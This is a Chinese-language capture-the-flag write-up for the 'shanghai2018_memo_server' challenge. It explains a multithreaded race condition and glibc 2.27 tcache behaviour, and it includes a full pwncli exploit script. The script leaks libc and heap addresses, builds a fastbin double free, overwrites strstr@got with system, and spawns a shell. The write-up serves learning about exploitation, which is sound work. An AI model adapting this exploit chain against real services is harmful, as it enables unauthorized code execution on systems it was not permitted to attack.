shanghai2018_memo_server

总结

多线程条件竞争,经调试分析与阅读源码,总结在多线程下释放tcache管理大小范围内的堆块的时候,流程大概如下:

  • 线程申请tcache_perthread_struct结构体,这里会使用mmap申请
  • 将堆块释放到线程对应的tcache bins
  • 线程结束时调用tcache_shutdown,将当前线程tcache bins所管理的chunk都使用__libc_free释放掉,这时的tcache变量为NULL,所以肯定不会进tcache bins,而会进入到fastbins/unsorted bins

checksec

image-20220404225125744

远程为libc-2.27.so,可以double free的版本。

漏洞点

其实这个程序很多地方都有栈溢出,但是由于使用的都是sscanf/strlen/sprintf等字符串类型的函数,会被\x00截断,所以不太好绕过canary,否则直接利用栈溢出就能解题。首先泄露地址可以任选一个有栈溢出的函数,然后泄露栈上残留的地址即可,这里我选用的是echo函数:

image-20220404225529723

还有一个主要利用的点,是多线程下全局变量的条件竞争:

image-20220404225634367

这里故意设置了sleep(1)就是为竞争创造条件。

利用思路

  • 首先利用echo泄露出libc地址

  • 利用条件竞争漏洞,首先泄露出堆地址,做法为:调用两次add,然后调用1count,等待1秒,这个时候该线程已经分配的2个属于memochunk都释放掉了,此时主线程调用GET /list即可泄露堆地址仍

  • 然后利用条件竞争漏洞,让两个线程去释放同一个chunk,构造出A->B->Afastbin

  • 分配A,此时由于tcache stash unlink,就会把剩下的B/A都会放到tcache bins中去,这里可以使用url_encode编码,使得memo的长度满足要求

  • 分配到strstr@got,修改为system@plt

  • 输入/bin/sh;获取shell

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def get_list(keep_alive=True):
    payload = "GET /list deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    s(payload)
    m = r()
    return m


def post_add(memo, count=1, keep_alive=True):
    assert len(memo) <= 80, "memo wrong!"
    if isinstance(memo, str):
        memo = memo.encode()
    payload = b"POST /add deadbeef \n"
    if keep_alive:
        payload += b"Connection: keep-alive\r\n\r\n"
    payload += b"memo=" + memo + b"&count="+ str(count).encode()
    s(payload)
    m = r()
    return m

def post_count(keep_alive=True):
    payload = "POST /count deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    s(payload)
    m = r()
    return m

def post_echo(content, keep_alive=True):
    payload = "POST /echo deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    payload += f"content={content}"
    s(payload)
    m = r()
    return m


def url_encode(addr, length):
    addr = hex(addr)[2:].zfill(16)
    res = ""
    for i in range(0, 16, 2):
        res = "%"+addr[i:i+2] + res
    return res.ljust(length, "X")

# leak libc addr
m = post_echo("a"*0xa7+"#")
i = m.find(b"#")

assert i >= 0, "index error!"
libc_base = u64_ex(m[i+1:i+7]) - 0x10bf0
log_address("libc_base", libc_base)

assert libc_base & 0xfff == 0, "libc error"

post_add("a"*0x30, 1)
post_add("b"*0x30, 1)
post_count()
sleep(1)
m = get_list()
heap_base = u32_ex(m[0xc5:0xc5+4]) - 0x280
log_heap_base_addr(heap_base)
sleep(3)

post_add("a"*0x30, 1) # 0
post_add("b"*0x30, 1) # 1
post_add("c"*0x30, 1) # 2
post_add("c"*0x40, 3) # 3
post_count()
sleep(2)
post_add(p32(heap_base + 0x280), 1)
post_count()

sleep(6)
post_add(url_encode(elf.got.strstr, 0x30), 1) # 0

post_add("a"*0x30, 1)
post_add("b"*0x30, 1) 
post_add(url_encode(libc.sym.system + libc_base, 0x30), 1)

sleep(2)
sl("/bin/sh;")

ia()

image-20220404225447815

多试几次就可以拿到shell了。

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%